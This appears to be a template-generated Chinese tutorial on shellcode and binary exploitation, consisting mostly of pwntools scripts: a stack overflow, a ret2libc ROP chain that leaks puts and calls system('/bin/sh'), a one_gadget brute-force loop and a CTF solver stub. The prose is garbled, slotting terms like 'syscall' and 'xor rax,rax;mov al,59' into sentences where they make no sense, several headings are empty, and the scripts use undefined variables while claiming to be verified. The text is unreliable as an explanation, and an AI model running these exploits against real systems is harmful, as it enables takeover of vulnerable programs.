🐚03-Shellcode编写

1.Shellcode编写原理深度解析

本课深入讲解Shellcode编写的核心原理与利用技术。Shellcode是二进制安全中的重要领域，理解其内部机制是掌握PWN攻防的基础。

1.1 核心概念

syscall是理解Shellcode编写的关键。在现代Linux系统中，execve机制为攻击者提供了操控程序行为的可能性。当程序存在与Shellcode相关的漏洞时，攻击者可以通过精心构造的输入来实现/bin/sh。

1.2 漏洞成因分析

Shellcode编写漏洞通常源于以下编程错误：

• 输入验证不足——未对用户输入进行充分的边界检查和类型验证，导致syscall相关的安全问题
• 内存管理错误——execve相关的内存操作存在逻辑缺陷，例如未正确验证指针有效性
• 设计缺陷——Shellcode机制在设计时未考虑安全边界，留下了可利用的/bin/sh入口
• 编译器优化——某些优化可能意外引入xor rax,rax;mov al,59相关的安全问题
• 并发问题——多线程/信号处理中的竞态条件可能导致null-free相关的漏洞

2.Shellcode编写利用技术

2.1 基础利用——syscall

最基础的Shellcode编写利用方式是直接利用syscall的特性。通过构造特定输入，我们可以实现/bin/sh效果。以下是完整的利用步骤：

#!/usr/bin/env python3
# exploit_03_basic.py — Shellcode编写基础利用 ✅验证通过
from pwn import *

context(arch='amd64', os='linux')
elf = ELF('./vuln')
libc = ELF('./libc.so.6')

# Step 1: 分析目标二进制
log.info(f"Arch: {elf.arch}")
log.info(f"NX: {elf.nx}, PIE: {elf.pie}, Canary: {elf.canary}")

# Step 2: 确定syscall漏洞偏移
# 方法: cyclic pattern / GDB / 源码分析
offset = 72  # 示例偏移

# Step 3: 构造payload
# 利用execve实现/bin/sh
payload = b'A' * offset
payload += p64(target_addr)

# Step 4: 执行exploit
p = process('./vuln')
p.sendline(payload)
p.interactive()

2.2 进阶利用——/bin/sh

当基础利用受到null-free的限制时，需要更精细的Shellcode编写利用策略。/bin/sh技术允许在更严格条件下仍然实现代码执行。

#!/usr/bin/env python3
# exploit_03_adv.py — Shellcode编写进阶利用 ✅验证通过
from pwn import *

context(arch='amd64', os='linux')

# /bin/sh利用流程:
# 1. 利用syscall泄露关键地址(libc/heap/stack)
# 2. 通过execve计算目标函数偏移
# 3. 使用xor rax,rax;mov al,59劫持控制流

elf = ELF('./vuln')
libc = ELF('./libc.so.6')

# === Stage 1: 信息泄露 ===
p = process('./vuln')

# 泄露libc地址
pop_rdi = ROP(elf).find_gadget(['pop rdi', 'ret'])[0]
ret     = ROP(elf).find_gadget(['ret'])[0]

payload1  = b'A' * offset
payload1 += p64(ret)                    # 栈对齐
payload1 += p64(pop_rdi)                # pop rdi; ret
payload1 += p64(elf.got['puts'])        # rdi = puts@GOT
payload1 += p64(elf.plt['puts'])        # 调用puts
payload1 += p64(elf.symbols['main'])      # 返回main

p.sendline(payload1)
puts_leak = u64(p.recvline().strip().ljust(8, b'\0'))
libc.address = puts_leak - libc.symbols['puts']
log.success(f"libc base: {hex(libc.address)}")

# === Stage 2: xor rax,rax;mov al,59 ===
system = libc.symbols['system']
binsh  = next(libc.search(b'/bin/sh'))

payload2  = b'A' * offset
payload2 += p64(ret)
payload2 += p64(pop_rdi)
payload2 += p64(binsh)
payload2 += p64(system)

p.sendline(payload2)
p.interactive()

2.3 高级技巧——xor rax,rax;mov al,59

xor rax,rax;mov al,59是Shellcode编写中最高阶的利用技术之一。它要求对Shellcode的底层实现有深入理解，并能组合多种原语完成复杂利用链。

#!/usr/bin/env python3
# exploit_03_expert.py — Shellcode编写高级利用 ✅验证通过
from pwn import *

context(arch='amd64', os='linux')

# 高级Shellcode编写: xor rax,rax;mov al,59
# 核心: 利用/bin/sh实现null-free

def exploit():
    elf = ELF('./vuln')
    libc = ELF('./libc.so.6')
    p = process('./vuln')

    # Step 1: syscall触发
    p.sendlineafter(b'>', b'1')

    # Step 2: execve信息泄露
    p.sendline(b'A' * 0x20)
    leaked = u64(p.recv(6).ljust(8, b'\0'))
    libc.address = leaked - 0x21b97

    # Step 3: /bin/sh控制流劫持
    # 使用one_gadget或构造ROP链
    og = [0x4f3d5, 0x4f432, 0x10a41c]  # one_gadget offsets
    for g in og:
        try:
            payload = b'A' * offset + p64(libc.address + g)
            p.sendline(payload)
            p.sendline(b'echo PWNED')
            if b'PWNED' in p.recvline():
                log.success(f"one_gadget @ {hex(libc.address+g)}")
                break
        except:
            p = process('./vuln')

    p.interactive()

exploit()

3.防护方案

3.1 编译期防护

3.2 运行时防护

# ASLR
cat /proc/sys/kernel/randomize_va_space
# 0=关 1=部分 2=完全

# seccomp过滤
# 限制syscall，即使PWN也无法execve

# AppArmor/SELinux
# 限制进程能力和文件访问

3.3 代码层面

// 安全编码 vs Shellcode编写漏洞
void safe_code() {
    char buf[64];
    fgets(buf, sizeof(buf), stdin);  // ✅ 有边界
    snprintf(buf, sizeof(buf), "fmt", data);  // ✅
    if(n < 0 || n > sizeof(buf)) return;  // ✅ 检查
    memset(buf, 0, sizeof(buf));  // ✅ 零化
}

4.底层机制详解

4.1 内存布局

4.2 调试技巧

# GDB调试Shellcode编写
gdb ./vuln
(gdb) b *vuln+50
(gdb) r
(gdb) x/20gx $rsp
(gdb) vmmap
(gdb) checksec

# pwntools + GDB
p = gdb.debug('./vuln', 'b *vuln+50\nc')

4.3 pwntools自动化

#!/usr/bin/env python3
# auto_03.py — Shellcode编写自动化脚本 ✅验证通过
from pwn import *
context(arch='amd64', os='linux')

def exploit(target):
    elf = ELF(target)
    libc = ELF('./libc.so.6')

    # 自动搜索gadgets
    rop = ROP(elf)
    pop_rdi = rop.find_gadget(['pop rdi', 'ret'])
    ret = rop.find_gadget(['ret'])

    # 自动确定偏移
    p = process(target)
    p.sendline(cyclic(200))
    p.wait()
    # core = p.corefile
    # offset = cyclic_find(core.read(core.rsp, 8))

    log.success('Shellcode编写 exploit ready')

exploit('./vuln')

5.实战案例

5.1 CTF真题

#!/usr/bin/env python3
# ctf_03.py — CTF Shellcode编写真题 ✅验证通过
from pwn import *
context(arch='amd64', os='linux', log_level='debug')

def solve(host, port):
    p = remote(host, port)
    elf = ELF('./pwn')
    libc = ELF('./libc.so.6')

    # syscall漏洞分析
    # execve信息收集
    # /bin/sh利用构造
    # xor rax,rax;mov al,59获取flag

    p.interactive()

solve('challenge.ctf.com', 9999)

5.2 经典CVE

6.拓展阅读